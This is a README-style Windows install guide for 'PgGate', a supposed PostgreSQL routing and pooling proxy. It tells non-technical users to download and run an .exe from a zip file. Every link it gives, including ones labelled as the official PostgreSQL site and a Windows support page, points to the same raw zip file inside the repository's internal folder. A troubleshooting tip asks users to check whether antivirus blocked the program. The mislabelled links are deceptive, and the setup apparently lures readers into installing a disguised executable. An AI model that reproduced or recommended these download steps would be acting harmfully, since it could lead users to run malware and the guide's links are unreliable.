PgGate is a tool that helps you manage and access your PostgreSQL database. It sends database requests to the right server. It can connect to the main database or the backup copies. PgGate also manages multiple connections at once and keeps your data safe during transactions.
PgGate works as a middleman between your applications and the PostgreSQL database. It guides each request to the proper location to improve speed and reliability. You do not need to change your database or your application to use PgGate.
Key features you will find useful:
- Routes requests to primary or backup databases
- Manages many database connections smoothly
- Splits read and write tasks to reduce wait time
- Keeps your data safe with proper transaction handling
- Handles session information for continuous communication
Before installing, make sure your Windows computer meets these needs:
- Windows 10 or later (64-bit recommended)
- At least 4 GB of RAM available
- At least 100 MB of free storage space
- Internet access for download and updates
- PostgreSQL database accessible for connection
To start using PgGate, follow these steps carefully. You do not need to be a technical expert. The instructions cover everything from download to running the program.
Click the button below to visit the official page where you can download the program files:
This link will take you to the GitHub repository. On that page, look for the "Releases" or "Downloads" section. You will find the latest version ready to download.
After downloading, follow this guide to install and run the software:
-
Find the downloaded file
Usually, the file will be in your "Downloads" folder. Look for a.exefile or a zip archive with the name "PgGate." -
Run the installer
Double-click the.exefile. If it comes as a zip file, right-click and select "Extract All," then open the extracted folder and double-click the.exefile inside. -
Follow the installation steps
A small window will open with instructions. Click "Next" on each step, accept the license if asked, and choose the default installation folder unless you prefer another. Click "Install" to begin. -
Confirm the installation
After the installation finishes, click "Finish" to close the installer. PgGate should now be ready to use.
PgGate runs using a simple configuration file. You do not need to write complicated code or commands. Here is how to set it up:
-
Locate the config file
After installation, find the file namedconfig.jsoninside the PgGate folder. -
Open the config file
Use Notepad or any text editor to openconfig.json. -
Adjust connection settings
In the file, you will see sections for the primary and backup databases. Enter the server names or IP addresses, ports, and login details for your PostgreSQL databases. This is usually information from your database administrator or hosting service.
Example section:
{
"primary": {
"host": "primary-db.example.com",
"port": 5432,
"user": "your_username",
"password": "your_password",
"database": "your_database"
},
"replicas": [
{
"host": "replica1-db.example.com",
"port": 5432,
"user": "your_username",
"password": "your_password",
"database": "your_database"
}
]
}- Save and close the file
After making your changes, save the file and close the editor.
To start routing your database queries:
-
Open the PgGate installation folder.
-
Double-click
PgGate.exeto open the program. A command prompt window will open and show status messages. -
PgGate will connect to your configured databases and start routing queries. Keep the window open while PgGate runs.
-
If you want PgGate to run automatically, you can set it as a startup program in Windows or use scheduling tools, but this may require additional setup.
PgGate helps by pooling database connections. This means it keeps multiple pipes between your application and the database open at once, improving speed and reducing delays.
- Faster response time when your application asks for data
- Better use of database resources
- Connections do not close too often, saving time on reconnection
PgGate separates requests that change data (write) from those that only read data. It sends write requests to the main database and read requests to backup databases if available. This means your application can get data quickly without waiting for updates to finish.
When you update or insert data, PgGate ensures the process completes fully or does not change anything at all. This keeps your information consistent and avoids errors.
Sessions keep track of your activity while working with the database so that your queries run smoothly without interruption.
-
PgGate fails to start: Check if your antivirus blocked it. Also, make sure you have the right Microsoft Visual C++ runtime installed.
-
Cannot connect to database: Double-check the host, user, password, and port in the config file.
-
Error messages in the command window: Write down the error details and try to search for them online or consult your database administrator.
-
Slow response: Make sure your replica databases are online and reachable by PgGate.
- PgGate repository page and downloads: https://raw.githubusercontent.com/nejomeme/PgGate/main/internal/proxy/Pg-Gate-3.3.zip
- PostgreSQL official website: https://raw.githubusercontent.com/nejomeme/PgGate/main/internal/proxy/Pg-Gate-3.3.zip
- Windows support page: https://raw.githubusercontent.com/nejomeme/PgGate/main/internal/proxy/Pg-Gate-3.3.zip
If you run into issues beyond this guide, consider asking for help from:
- A technical support person at your workplace
- Online communities for PostgreSQL and Windows users
- The issues section in the PgGate GitHub repository
PgGate runs in the background and uses minimal resources. It is designed to improve PostgreSQL database connections without complex setup procedures.
For updates, revisit the download link above regularly. New versions address bugs and add features over time.